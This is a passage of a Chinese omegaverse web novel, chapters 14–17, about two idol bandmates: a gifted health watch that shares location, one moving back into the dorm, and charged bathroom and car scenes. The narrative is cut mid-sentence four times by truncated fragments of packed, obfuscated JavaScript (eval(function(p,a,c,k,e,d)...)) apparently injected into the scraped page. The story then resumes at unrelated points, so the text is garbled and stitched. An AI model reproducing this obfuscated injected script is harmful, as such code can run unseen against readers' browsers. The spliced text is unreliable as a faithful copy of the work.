明显考虑了两秒该不该说,但大抵最后还是被情感战胜了理智,他没忍住,选择道出口。 “只是觉得你很可爱。” ??? ……可爱? 他吗? 得到意想不到的答案,方柏嘉愣了一秒,紧接着脸以刚才十倍的程度快速红温起来,觉得汤昼恒根本就是胡说八道。 自己和可爱有什么关系? 方柏嘉听完人整个傻了,眼睛瞪得很大地一言不发瞧着对方,仿佛刚欣赏了一段外星文,头顶都在冒烟。 话说完,汤昼恒也少见地觉出一点尴尬。 他望着方柏嘉不明显地泛红与显得无措的神色,像是忽然想起什么,有意调整气氛似的从手边掏出个白色崭新包装盒,转身递向他。 “这个给你。” 14. 第 14 章 方柏嘉不明所以地接过来,发现这是某品牌的健康手环。 没记错的话,汤昼恒自己也有一个,方柏嘉以前见他戴过。 他大概猜到对方的意图,盒子拆开,把里面的手表拿出来端详。 听见汤昼恒又介绍:“临时下单让人送过来的。可以检测血液信息素水平,心率和易感值这些,你平常尽量带着,下次如果身体再出现什么特殊状况,有它提前预警,也能大概知道是什么情况。” 见方柏嘉给手表开了机,他便稍微倾身过来,教他怎么给手表设置想要的提醒。 “它还有一个紧急联系功能,当你的身体健康水平达到一定的低数值,手表会做出判断,将信息数据,甚至包括你的坐标定位都发送给我,就算手机不在身边,你也不用担心。” 今天的事情明显给汤昼恒提了个醒。 方柏嘉体质特殊,目前又正在恢复阶段,纵使他们每天都在一起工作见面,也难免会有对方不在自己的视野之内、顾及不到的情况出现。 多个保证总会好些。 方柏嘉认真听着,没注意到汤昼恒甚至没和他商议哪怕一句,就直接默认他的紧急联系人是自己。 大概是因为就算让他自己来选,方柏嘉也想不出第二个人。 “这里。”说话间,汤昼恒食指在一方没有四分之一手掌大的屏幕上轻触一下,“设置,紧急联系人。” 界面上跳出输入手机号码的提示。 方柏嘉没有多想,点开键盘就开始敲击,眨眼间已经连打四五个数字,每个都是对的。 汤昼恒正要给对方口述他的手机号码,见状却又惊异地停下,抬眼不动声色地瞧了瞧方柏嘉心无旁骛的侧脸,心里一动。 他觉得奇怪,在这个很多人连自己刚改过的账号密码都记不住,最多也就记个父母和身边重要朋友的号码的网络时代,方柏嘉居然知道他的手机号? 他们明明除了出道最开始礼节性地交换过联系方式以外,平时根本不怎么用手机联络。 汤昼恒刚开始觉得异样。 下一秒,就见方柏嘉舞动的手指突然停下来,“哎”了一声,转头看他:“你的手机号是多少来着?189……” 他念出自己刚才打出来的那几个数字:“我记的对吗?后面是什么?” 刹那间,异样立刻散去。 “……” 果然,这才是正常的。所以他刚刚在想什么? 汤昼恒在心里暗叹口气,摇了摇头:“是对的。后面是——” 他耐心地念出剩下的数字。 方柏嘉垂眼,顺着对方的话一个数字一个数字地键入。有那么很快的一个瞬间,他在汤昼恒很难看见的角度做了个不明显的鬼脸。 差点暴露了。 还好他及时反应过来,没有露馅。 下次一定要注意,不能再这样疏忽。打起精神来啊方柏嘉! …… 零零总总把该设置的项目都设置好后。 方柏嘉想了想,还是觉得不能白承这个人情,说:“你买这个的价格多少?我微信上把钱转给你吧。” 不然显得自己太心安理得了,又让汤昼恒帮忙又接受他买的东西的。 “?” 身边几秒没有传来回答,方柏嘉狐疑地向对方望去,结果又在汤昼恒的脸上看到了那种似笑非笑的、让人觉得有点不妙的神色。 “不用了,也不贵。” 汤昼恒笑意淡淡,说话间还拿过方柏嘉掏剩下的空包装盒在手里抛了一下:“连一分钟……不对,半分钟的我都买不到。在我们说话的时候,半分钟都早过去了。” 他笑了笑:“你要是觉得过意不去,后面请我喝咖啡吧。” 说着,又拿起手边的冰美式摇了摇。 方柏嘉:“……” 什么半分钟的他。 方柏嘉满脸茫然地呆了一秒才反应过来,这是他自己之前说过的五分钟十万的梗。 那一分钟就是两万,半分钟就是…… ——合着这人怎么到现在还拿这个跟他打趣啊?过不去了是吗? 方柏嘉不可置信地盯着面前的人,表情看起来震惊又茫然。 他窘迫的模样被汤昼恒看在眼里,又笑了笑说:“戴上试试吧。” 方柏嘉用没对着对方那侧的唇角撇撇嘴,低头将手表给自己套上,系好,一边心里偷偷嘀咕。 还请喝咖啡,哼。 之前给你买了你也没要啊。就知道逗别人。 他忽然觉得汤昼恒有点太坏了,怎么以前不知道他这么坏。 “喏。”方柏嘉戴好手表,举起一点手腕,示意对方。 “平常只要不到必须摘下来的时候,都尽量戴着。”汤昼恒温和道,“有事也可以和我联系。” 他说完,却还是看着方柏嘉。 “?” 方柏嘉实在受不了对方的注视,忍不住问:“是还有什么事吗?” 这会儿工作人员都在外面收拾各种器材道具,连司机都不在这儿,车里只有他们两人,好古怪。 正当方柏嘉快要抗不住了,准备移开目光的时候。 汤昼恒忽然又张口:“是还有一件事想和你商量。” “过两天我想搬回宿舍,你觉得怎么样?” “搬回……宿舍?” 方柏嘉一阵讶然,像好一会儿都没明白过来对方的意思。 他人还没做出反应,身体却暴露了他的想法。 眼睑下方的位置迸发出一阵亮光,手腕上刚刚还熄着屏的健康手表突然发出警告,吸引着二人同时向下看去。 呈现在眼前的,赫然是手表监测到方柏嘉情绪波动而弹出来的心跳异常提醒。 “您的心率已达到109次每分——”汤昼恒顺着上面的字读出声。 还没读完,声音就停顿了。 他抬起眼,看向方柏嘉。 方柏嘉:“…………” 这什么鬼啊! 方柏嘉此刻恨不得直接把这破手表拆了然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方的欲言又止成功地吊起了他的好奇心,尤其当方柏嘉突然意识到,汤昼恒后面的回答大概率和自己有关,尽管知道接下来的内容可能并不会是他想听的,方柏嘉还是禁不住问:“什么?” 见他催促,汤昼恒这才回答:“我以为你讨厌我。” ……? ??? ????? 这是怎么得出来的结论? 这个人是在跟自己开玩笑吗? 方柏嘉整个人都凌乱了,一头雾水地道:“……为什么这么说?” 也许是他脸上的表情震惊得太过意外,汤昼恒接着补充:“也不能说是讨厌,但就是,”他沉吟了一下,“看不太惯吧。可能对我比较有意见,因为之前总感觉你在避开我。” 汤昼恒抬眼看他,似乎在组织着词汇。 “我想帮你拎东西的时候,在电梯里的时候。还有那次在练习室里,你说我的外套……那会儿我就觉得,你是不是不喜欢我的味道,从而导致不太喜欢我这个人。所以我一直在想,会不会我还是在外面住比较好。” 15. 第 15 章 “……” 方柏嘉已经不想再听到关于外套的事了。 自己的黑历史又被提起,他尴尬得有点无地自容:“那个我已经解释过了。” “对。”汤昼恒说,“所以我觉得,我们之间可能还有一点误会。” 他讲得慢慢的,很有条理,听起来没有控诉的意味,只是在陈述。 说话时那双被粉丝夸赞总是看起来很深情的眼睛一动不动地认真望着方柏嘉,让被他注视的人很难不感到一丝愧疚和负罪感。 方柏嘉莫名红了脸,扛不过三秒,默默移过头,突然间反应过来—— 听汤昼恒的意思,对方还是因为觉得他不会同意才一直不搬回来住? 合着自己还是罪魁祸首? 他感到棘手地摸了摸自己的眉毛,觉得这误会可大了去了。 说实话,方柏嘉在此之前一直觉得自己挺委屈的。 他虽然日常不会像其他队友那样和汤昼恒自然亲切地聊天打闹,但基本的礼貌还是有的。汤昼恒作为队长组织他们做什么事的时候,方柏嘉从来不会故意捣乱。 要说上次直播……他确实是冲动了,可那也不是没有原因,方柏嘉绝大多数时间都不会这么做。 他始终觉得,虽然外界都那么传,自己和汤昼恒的关系应该也没差到那个份上吧?就是经常在一起但是又不那么熟的同事。 之前总对汤昼恒反应冷淡,也是因为他的味道对方柏嘉来说诱人得太具有侵略性了。 对方一靠近他,方柏嘉就条件反射地慌乱起来,很容易反应过度、口不择言,更别提再去伪装得自然。 而他又是那种面无表情起来就显得很不耐烦的类型,表现在明面上,就变成了网友口中的对汤昼恒没有好脸色。 现在汤昼恒明晃晃地告诉方柏嘉,对方一直觉得他讨厌他。 方柏嘉才知道原来不仅仅是网友,就连汤昼恒本人都是这么想的。 这简直是千古奇冤。 他一张脸慢慢涨热,好半天才从这种受打击的状态中回过神来,这会儿什么也顾不上了,只想着为自己正名。 “你……应该知道你的味道对我来说挺有吸引力的吧。”方柏嘉一通搜肠刮肚,嗓音闷闷地道。 他本来想说“比较有吸引力”,想了想觉得这样有点太掩耳盗铃,干脆还是直白了当地讲了。 汤昼恒没有说话,颔首默认。 方柏嘉:“那你应该也能……不对,你一定知道,我是喜欢alpha的。” 不管是易感期那一回他的表现,还是在医院林主任说的那些令人尴尬的话。什么发育错误导致取向异常乱七八糟的。 话又说回来,心知肚明和真的面对面地谈起这件事时的感觉还是不一样的。 方柏嘉越说越感到别扭,说话语速也愈发的慢,几乎就要后悔了。 但在那之前,他还是破罐破摔地硬着头皮把剩下的话说出口:“我从小就对其他alpha的信息素很敏感,具体原因你也知道,AO本来就容易被激素吸引,然后你又刚好对我来说很好闻,我——” 说到这里,方柏嘉像卷住了磁带的复读机般卡了下壳。 “我……绝对不是讨厌你的味道。” “也不是讨厌你。” “我就是,面对你的时候会紧张。” 老天,我在说什么。 方柏嘉说完后立刻瞪大眼睛。 这和直接跟汤昼恒讲“其实我暗恋你”有什么区别。 怕对方想到别的方面去,方柏嘉赶忙此地无银三百两地补充:“呃——我不是说对你有什么‘那种’的感觉啊,就是,你知道的,这种生理因素也不是人为能控制得住的。” “抱歉之前给你造成了困扰,但我确实、真的没有讨厌你……但也不是说喜欢你!” 他讲到最后一句,陡然拔高了音量,察觉到自己表现得太不自然,声音又落了下来,不太自信地看着汤昼恒。 到了汤昼恒眼里,就变成他在急于和自己划清界限。 开头说过的话,到最后居然又变着法地强调了一遍。 可以看出对方有多不想让自己误会。 汤昼恒:“嗯……” 大概知道了。 就是对自己这个人的感觉说不上喜欢也说不上讨厌,主要是喜欢他的信息素。而且方柏嘉也需要他的味道,之后难免还会有要亲密接触的时候,现在说这些,多半是为了不让他产生多余的错觉。 “你这么说我理解了。” 毕竟方柏嘉也说过“认错人了”什么的。 但他又说自己没有在交往的对象。诡异。 仿佛为了印证他的猜想似的,方柏嘉肉眼可见地长出了一口气。 “那就好。” 你最好是真信了,他在心中暗忖。 方柏嘉略感狐疑,总觉得汤昼恒有点太好说服了些,他表现得这么可疑,对方不应该怀疑些什么吗? 还是方柏嘉对自己的判断有误,其实他在演戏方面也还算有潜力? ……懒得想那么多了,能糊弄一时是一时。 好累,每次跟汤昼恒聊完怎么都那么累。 感觉跟刚跑完马拉松差不多。 接着,就听汤昼恒道:“那我们说好了,过几天我就搬回去。” * 晚上汤昼恒回了住所,立刻开始收拾起一部分行李。 他才从剧组回来没一个月,许多从那边带来的东西都还装在箱里,几乎是原封不动。 汤昼恒挑着要带去宿舍的、可能会用到的东西,手机被压在沙发最下面,嗡嗡震动了许久才被他发现。 “给你发了那么条消息你不回。” 电话终于接通,手机对面的人大喇喇地抱怨:“怎么样,《闪回》那个本子你接不接,我听说他们最近在接触你。你要是接了,过几个月咱哥几个又能在竖店一块打球吃火锅了。” 说话的人叫秦高阳,是汤昼恒从前还没当爱豆时演戏认识的圈内好友。 “流程差不多走完了,过两天去签一下合同。”汤昼恒将手机按在肩膀和双耳中间,稍微侧着头清点手上的物品,“刚刚在忙别的,没看见。” “那感情好啊。”秦高阳很是兴奋。 两人聊了一会儿档期分配的话题,听说汤昼恒在整理搬家的行李,秦高阳便表示不打扰了,正准备挂断通话,汤昼恒忽然又道:“等等。” 他若有所思,慢慢地说:“我有个问题,想向你咨询一下。” 秦高阳:“什么?” 真到了要开口的时候,汤昼恒反而又有点迟疑。 他酝酿了数秒:“如果,有这么一个人。” “他在不清醒的状态下,不小心对你做出了一些亲密的举动,过后却跟你说他认错人了,但是在一些……嗯,需要你的场合,又声称自己并没有交往对象,而且也表现得很喜欢你的信息素,这代表了什么?” 汤昼恒一直都是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我根据你说的他说过‘认错人了’来分析,这个人心里大概率有个喜欢的对象。可能因为对方不喜欢他,也可能他们目前还维持在一种不太正当的非情侣关系里,所以就把你当成备用选项了。” “你也说了,TA好像很喜欢你的信息素,那生理吸引就是这样的咯,成年人嘛,既然最喜欢的那个得不到,搞点代餐吃吃也是可以的。” 汤昼恒再次:“……” 代餐。 对方依旧不出声,秦高阳估摸着他可能受到打击了,又赶忙补充:“其实我这也只是猜想,理论上说,也有一些omega是会故意讲反话的。先说一句不喜欢让alpha患得患失怀疑自己的魅力,然后再表现出对对方感兴趣的样子,这时候alpha就会觉得他机会来了,全身心地投入追求,omega再尽情享受,钓人玩暧昧嘛。” 秦高阳:“你要是不确定的话,要不然,你试探他一下?” 汤昼恒此时早就已经不在收拾东西了。 一只小猫路过他的身边,他蹲下来,顺势拿起放在一旁地毯上的梳子给他梳毛。 沉默地品鉴了一会儿对方的分析,他没有刻意纠正秦高阳的性别认知问题,不置可否道:“怎么试探?” “试着制造一些不过分的亲密接触,看看对方的反应。如果TA表现得很抗拒,那就说明TA应该是真的对你没兴趣,只想‘各取所需’。” “如果这个omega并没有反对你这么做,甚至很享受暧昧……你懂我的意思。” 抓着手机的汤昼恒听到这里掀起眼皮,另一只手上伺候猫主子的动作也顿了顿。 制造暧昧? 16. 第 16 章 MV总共耗时四天拍摄完毕,汤昼恒的效率很快,说要搬回宿舍,过完两天就把自己那六只猫加上大大小小的行李送货上门。 他给它们喷了镇定喷雾,也拜托方柏嘉在宿舍提前插上了相同功效的扩散器,主子们跟着汤昼恒每年几趟下来跑习惯了,从小社会化做得不错,没过多久,就陆陆续续在房间里到处探索起来。 “……” 方柏嘉趁着汤昼恒在浴室里洗澡的功夫,悄悄从房间里溜出来看小动物。 见到此情此景,不由在心里感叹,好多猫。 一屋子都是汤昼恒带来的家属在咪咪喵喵地跑来跑去。 只有一只品种的,剩下几只都是花色各异的田园猫,全是汤昼恒路边捡来或者领养的。 方柏嘉瞅准时机,趁着一只玳瑁从自己腿边经过时猛地弯腰抱起它,举到眼前打招呼。 “砸手里?你就是砸手里吧?” 方柏嘉有印象,这只应该是汤昼恒去年九月份在衡店捡的猫。 汤昼恒是出了名的爱猫人士,猫缘也好,出去拍戏、上节目、出门吃个饭都能在路边拎只猫回家。 捡的猫太多,有品相不错,性格也黏人的,汤昼恒都会想办法送给圈里想养宠物的朋友。据粉丝统计,这些年陆陆续续被汤昼恒送出去的猫起码有十来只。 “砸手里”是个意外,它的外表用通俗一点的话说,丑得很牛逼。 长得抱歉也就算了,性格也不是特别温柔黏人的类型。线下曾有粉丝问汤昼恒为什么不给砸手里找领养,汤昼恒的回答是担心它就算被送养出去也会遭嫌弃,只能自己留着。 方柏嘉仔细观察了下这只玳瑁的脸。 “哇……”真的有点艺术在的。 砸手里被抱久了,不知道是不是方柏嘉姿势不对,搞得它不舒服,开始挣扎起来。 方柏嘉吓了一跳,赶忙把它放在地上,转身却被一只正从沙发那边朝他走来的猫吸引了注意。 这是一只颇为圆润、看起来随处可见的田园橘白,方柏嘉一看到它,心中油然升起一种亲切之感,朝它伸出手臂“咪咪”地叫了两声。 本只是试探一下,没想到橘白听了,真的走过来,热情地用脑袋顶他。 方柏嘉如获恩宠地蹲下身,不是很熟练地一遍遍顺着它的头顶捋到背脊:“没见过你呢。” 他低声地自言自语。 汤昼恒虽然有好几只猫,但不是每只猫都会出镜,只有兴致来了才会偶尔拍一两张照片上传到微博上,方柏嘉今天一瞧,才发现有好几只他都不认识。 “像你这样的猫是不是真的很多啊?”方柏嘉挠了挠它的脑袋,“以前我也遇到过一只,可惜我和它没缘分。” 感受着手心中毛茸茸的顺滑触感,方柏嘉不由有点出神。 那是他还没出道时发生的事了。方柏嘉在从公司回练习生宿舍的路上遇见一只生了病的小流浪猫,照顾了它一阵,实在没有钱也没地方养,最后几经辗转,送给了同一个公司的糊糊艺人。 方柏嘉跟他加了微信,头几个月还会时不时问一下对方小流浪猫的近况,后来确定小猫在新主人那里过得不错,便没怎么再打扰。 汤昼恒养的这只橘白重新勾起了方柏嘉的思念之情,回到房间,他立刻拿起手机切小号去领养人的微博主页逛了一圈—— 很好,果然还是没猫。 方柏嘉早先想看小猫又不好意思主动去问,第一时间想到的也是去翻社交媒体。结果对面大概不怎么喜欢暴露隐私,发的所有日常生活照里都看不到猫的身影。 微信朋友圈就更别提了,方柏嘉从来没见到对方的主页有过什么东西。 他猜领养人用来加他的一定是个小号,不过他们这个圈子,人均至少两个号是很常见的事,方柏嘉也没有理由去抱怨。 他从微信通讯录里找出小猫领养人的账号,思索再三,发送。 方柏嘉:【你好,想问下猫怎么样了?可以发张最近的照片看看吗?[笑脸]】 * 次日早晨,铃声响起过两轮。 方柏嘉头埋在被窝里睡得正香,卧室外陡地传来一阵清脆的敲门声。 “谁啊。”他意识朦胧间烦躁地在床上翻了个身,本不欲理会。忽然想到陆翰音平时敲门不会这么有礼貌,那门外的是谁——难道是经纪人上门来催? 想到这里,方柏嘉一把掀开被子坐了起来。 “等一下,我马上过来!”他抬高音量困倦地喊着,一边手忙脚乱地从床头柜上摸来一张新的阻隔贴,呲牙咧嘴地给自己贴上,再三确认粘合无误,这才打着哈欠走去门边。 一打开门,方柏嘉整个人呆住。 汤昼恒就站在门外,眉宇间神清气朗,见到方柏嘉,冲他露出淡淡的微笑示意:“早上好,呃——” 他忽然顿住,视线下移,在方柏嘉身上扫视一圈,看见他翘得纷飞的头发,以及身上歪斜的睡衣,微微挑起一边眉毛:“我是打扰到你睡觉了吗?” 方柏嘉愣了一下才答:“没有。” 他梦游似的喃喃:“……是有什么事吗?” 汤昼恒眨了眨眼:“我是想问,你有没有见过我的猫?” 对方的目光稍微往左移了移,似在往方柏嘉的房内望去,但没得到卧室主人的许可,又很快挪了回来。 “我刚刚给它们添粮,发现有一只不见了,问了小陆,他说不在他那,就来看看你这边。” “啊?哦,对。”方柏嘉听他这么一说才反应过来。 他睡前有关门的习惯,昨晚照常洗漱完准备睡觉,那只亲人的橘白趁他不注意,追在他身后跟着钻进了门里。 方柏嘉前脚刚把它抱出去,后脚它又自个儿流体似的扭回来了,方柏嘉便没再管它,把门留了条缝,方便猫后边自己出去。 结果也不知道是怎么回事,今早起来门居然关着——大概是被猫碰上的。 他转身返回房里,向汤昼恒解释:“它昨天是跟着进了我的房间来着,我也赶不走它,就把它留下来了……咦,猫呢?” 方柏嘉满卧室寻找橘白的影子,床上,不在。地上,也没有。 正当他心里一紧的时候,方柏嘉掀开窗帘,终于在飘窗上发现了蹲在那里俯视楼下小区景色的大猫。 他松了口气:“原来在这儿。” 方柏嘉把猫给汤昼恒抱了出来:“不好意思啊,我下次看紧点。” 其实心想,猫跟我睡一晚又怎么了,你六只猫宠幸得过来吗。 汤昼恒浑然不知他的心理活动,笑了笑道:“没事,它本来就喜欢往别人房间里钻,你要是不嫌弃它,让它跟你睡也行。” “别人房间?”方柏嘉抬起眼睛,有点诧异地跟着重复一遍,“它不是住你家吗?” 平时就待在对方首都的大平层里,怎么会有别人? “啊。”汤昼恒垂着眼,手伸到他的怀里搔了搔橘白的头,“有时候朋友会去我那住一晚。” “哦——”方柏嘉维持着这个“哦”的嘴型,把猫又举起来掂了掂,不知为何有点尴尬。 他都有些佩服自己抓重点的能力了,怎么总说一些不该说的话。 飞快瞥对方一眼,方柏嘉没话找话似的说了一句:“话说,这只猫叫什么?我感觉它还挺可爱的。” 其实也就是顺口一问,没有别的心思。 找点话题聊聊,好不让大清早的氛围显得太干巴。 汤昼恒接下来的反应却超出了他的预料。 听到他的话后,对方的表情变得有点奇怪。 仿佛这是一个让人很难回答的棘手疑问,又像有什么难言之隐。 汤昼恒神色出现了片刻定格,眼睛也不自觉地向一旁移开,停顿了足足两秒才缓缓回答:“……它没有名字,平常我都直接喊它‘咪咪’,你想怎么叫就怎么叫吧。” 方柏嘉:“?”骗鬼的吧。 方柏嘉的第一反应是不信。 对方的神态和语气,怎么看都不像在说实话的样子。纵使他的脸上并没有明显的肌肉线条变化,但如果是事实,汤昼恒有必要花时间去想么? 而且明明其他猫都有名字,怎么可能只有这一只单独没有。那也太敷衍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤昼恒过来问方柏嘉愿不愿意和他一起住的时候,方柏嘉感觉自己人都要晕了。 幸福来得太突然,方柏嘉表面上还得控制好自己的表情,装出一副“看在都是队友的面子上我就帮你一回”的样子,勉为其难地表示可以帮忙。 结果合租生活还没开始,忙于推出新偶像团体的山川相缭见unforbid''em发展得正当红,干脆临时改变计划,把六人送出去各自发展单人事业。 紧接着是长达快一年的空白期。 这次组合回归,汤昼恒一开始也没透露出要带猫过来住宿舍的意思。因此对方再在车里提起搬家这回事时,方柏嘉的心跳才会提升得那么快。 有种兜兜转转心愿还是达成了的感觉。 想到这里,方柏嘉又看了看面前的镜子。本来还担心自己刚起床形象不太好,打量两眼,又觉得还可以啊,除了头发乱点其他都挺好。 毕竟他天生丽质,不化妆都好看得不行。 方柏嘉收回目光,慢吞吞地接着刷牙。 眼神逐渐放空之时,余光范围内的镜子里突然出现一团高大模糊的身影。 伴随一阵轻浅的脚步声,汤昼恒冷不丁拎着他的洗护用品包走进卫生间门,将手中的东西放在洗手台上。 他像是中途从别的地方转场过来的,英俊而有富阳光青春感的下半张脸上甚至还裹着白花花的泡沫。在方柏嘉身后站定,什么话也没说,手持着剃须刀把附着在下颌线上的清洁物慢慢地刮下来。 自然而然得仿佛不是头一次这么做,甚至不需要和方柏嘉打招呼。 头顶卫生间暖光灯的照射下,他优越的骨骼眉眼被衬托得格外突出醒目。 ……? 方柏嘉原本还迷迷糊糊,见到此情此景,眼睛立刻缓慢地睁大了。 17. 第 17 章 汤昼恒好像也注意到他的目光,在镜中和方柏嘉对视。 半晌,方柏嘉吐出嘴里的泡沫,有点含糊不清地问:“你怎么……” 到这边来了? 三居室里有两个卫生间,方柏嘉卧室旁就有一个,另一个夹在汤昼恒和陆翰音的房间当中,方柏嘉向来默认这间只有自己用,加上之前一个人住惯了,汤昼恒突然过来,他还有点不习惯。 那边那个难道不能用吗? 汤昼恒走上前,在洗手池边抖掉刀片上的泡沫。 似乎看出方柏嘉脸上的疑惑,向他解释:“小陆急着洗澡,说再不洗赶不上等下去拍摄,我就把卫生间让给他了。” ……行吧。侧耳听听,外面好像是传来了隐约地流水声。 方柏嘉没话可说,继续安安静静地洗漱。 此后的好几分钟里,两人都秉承着互不打扰的态度,各自干着各自的活儿,偶尔在对方需要用到洗手池时让出位置。 过了一会儿。 方柏嘉正准备伸长手臂去够摆在洗手台最右边的洗面奶,刚好赶上就站在他斜后方的汤昼恒将须后水放回洗漱包。 他们一个向右侧身迈步,一个俯身前倾,单边手掌已经按上台面。 猝不及防地,二人的身体就这样撞到一起。 方柏嘉的后脑勺轻轻嗑上对方的鼻尖,等他反应过来时,自己的肩膀已经抵在来人的锁骨上,和汤昼恒呈现出一个近乎被对方搂在怀里的姿势。 一阵清爽的须后水余香飘来,方柏嘉第一次这么清楚地闻到汤昼恒早晨洗漱后的味道。清新,芬芳,但又内敛,居然是柠檬味,和他本身的信息素一样,都属于水果的香型。 大早上闻到这个,也太…… 方柏嘉的大脑“咣当”一下停摆了。 不过怔愣犹豫两秒的功夫,没有及时避开的弊端就显现出来了。 手腕上蓦地一震。 方柏嘉觉得这个情景有点似曾相识,同时和汤昼恒低头往下看。 然后就知道这种熟悉感从哪儿来的了。 因为他的健康手表又特么亮了。 “目前监测到您的心率升高……” 熟悉的字体铺在眼底,不用多看就知道是怎么一回事。 ……靠,毁灭吧。 方柏嘉顷刻间有种无地自容的无助感。 早知道就不在洗漱的时候戴这玩意儿了。简直丢人。 正飞速思考着该做出怎样的反应才能丝滑顺畅游刃有余地把这件事盖过去,就听汤昼恒在他耳边静静地说:“紧张?” 说话时热气甚至都还吹打在方柏嘉的耳廓。 “呃。” 方柏嘉脑袋短路一瞬,旋即联想到前两天和对方在车里的一通交谈,意识到对方似乎好像大概也许在给他递台阶,于是应下:“是的。” 看来那次的谈话确实有效,起码再有类似事件发生的时候,他也有正大光明的理由可以找。 汤昼恒没说什么,向后退开一点,给方柏嘉让出可以抽身的空间。 方柏嘉觉得有点古怪,但又说不清具体的情况,怀揣着一肚子狐疑地将洗面奶挤在手心,往面孔上抹匀。 片刻后再从水龙头前抬起头来,整张脸都已经湿透。 方柏嘉眼睛在水里睁不开,洗掉脸上的泡沫,双眼紧紧地闭着,右手摸索着向记忆中放了一次性洁面巾的地方探去,两次都落了空。 第三次方柏嘉准备拓宽区域,结果才往旁边伸过去一点,手边就传来瓶瓶罐罐被他碰倒的声音。 “……” 方柏嘉暗骂一声,正打算忍着不适将眼睛掀开条缝,忽然有什么东西碰了碰他的手背。 接着是面巾被从包装里抽拉出来的响动。 一双骨节宽大分明的手扶住他的腰身两侧,轻轻将他带着翻了个身。 方柏嘉大腿抵住带有一些水渍的洗手池台沿,那块的布料立刻便被打湿。有人向他靠近,气息稍微比他更上一些,淡淡的鼻息暖洋洋地吹拂着他的鼻梁。 下一秒,柔软的物体落在脸上。 对方攥着干燥的洁面巾,一下又一下地仔细清理着方柏嘉面庞四周的水分。 从汤昼恒的这个角度,刚好能看到他薄薄颤抖的眼皮。乌黑沾水的睫毛齐刷刷地粘在他的下眼睑上,像分叉的刷子,一簇簇地黏在一起。 视野被剥夺的感觉令人有些不安,方柏嘉皮肤发痒,忍不住躲了躲。 下巴尖却被人轻轻捏住,抬起。 “别动。”汤昼恒立刻道。 声音低而轻,富有某种磁性。 手腕上的手表再度嗡嗡震颤起来,代表着方柏嘉同样失去控制狂跳的心。 他单手撑在台边,五根手指一根接一根地叩紧,怀疑自己的脸肯定像苹果一样无措地红起来了。 薄薄的眼睑被柔软的洗脸巾蹭过,皮肤很快变得干燥。 方柏嘉恢复了视野,很快睁大眼睛,直勾勾瞧着近在咫尺的人。 这一看,却是一愣。 因为要给他擦拭,高大的alpha低着头,挨他很近,方柏嘉感觉自己宛若在被他的目光描摹,凡是被他眼眸扫过的地方,唇面上都被激光燎过一样滚烫。 汤昼恒手上不停,眼神却错开位,凝视着方柏嘉的唇。 先是低头盯了两秒他的唇瓣,然后视线稍稍上移,来到他鼻尖附近的位置,随后再往下落。 眼睑几番起伏颤动间欲念俱显,那怎么可能是正常打量的神色? 就连侧着头捏他下巴帮他擦脸的姿势,看上去也像别有预谋。 方柏嘉不由得喉结滚动,小幅吞咽了下,为此感到呼吸困难,眼睛瞪大,整个人像被咒语定在原地,就这么眼睁睁看着汤昼恒动作。 有那么好几息的时间里,汤昼恒每往他这边不经意倾身一点,方柏嘉都以为那人真的会靠近过来含住他的嘴唇。 然而最终并没有这种事情发生。 汤昼恒垂眼看了看方柏嘉腕上警告不止的手表,又看看他,轻声问:“这样也紧张?” 方柏嘉这才从恍惚的状态中缓过神来,一个激灵:“………………” 怎么了,不行吗。 换你被自己的理想型这么暧昧地对待试试看呢,站着说话不腰疼。 他张了张唇呼气,没说什么。 有些怀疑对方是故意的,但又没有确切证据。 ……他怎么会觉得汤昼恒刚刚要亲他呢,真是魔怔了。 此地不宜久留。 方柏嘉猛地从汤昼恒手里扯过那张半湿半干的面巾,自己随便地擦了擦,扔到垃圾桶里,留下一句答非所问的“我收拾好了,你自便吧”,迅速逃离这一方小小的空间。 * 诡异的心情一直维持到坐上车。 刚好六人现在都住宿舍,公司直接把车开到地下停车场等他们出来。 方柏嘉莫名地不想和汤昼恒一起走,磨磨蹭蹭到最后一个才下楼。到了车上一看,保姆车内的其他座位都被占了,只有最后一排汤昼恒的身旁还有位置。 ……方柏嘉几乎立刻就有想要转身离开这辆车的冲动。 但这是不可能的。 他在原地给自己加了把劲,慢慢走上前去,在汤昼恒的身边坐下。屁股刚挨着座位,又觉得有点危险,往车窗边凑了凑。 耳边传来汤昼恒温和的提醒:“坐到了。” 方柏嘉没明白:“什么?” 汤昼恒没有回答。 只是放下手机,不由分说地朝他倾身,一只手越过方柏嘉的腹部,探向他腰后偏下,被青年的身体压住的部分。 “这里,我的衣服。” “哦哦——” 感受到臀部下方传来的拉扯感,方柏嘉才意识到自己把对方上车后脱下来的外套给坐住了,顿感尴尬地想要避开,却又苦于四周没有抓扶的把手。 他在短暂的0.05秒内纠结了一下,下意识做出反应,脖颈包括后肩那儿顶住座椅的靠枕部分,两只手则分别略显窘迫地攀在汤昼恒的肩膀和大臂上,双腿使劲,抬起自己的下半身。 两人间的距离刹那拉近,上半身相隔不超过十公分。 又是一个近乎正面拥抱的姿势。 方柏嘉双掌搭在他的身上,隔着一层薄薄的夏天衣物,感受到从对方躯壳中漫越出来的澎湃体温、还有他温热如风般的呼吸。 方柏嘉瞬间定住,后脑勺以及后背都因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 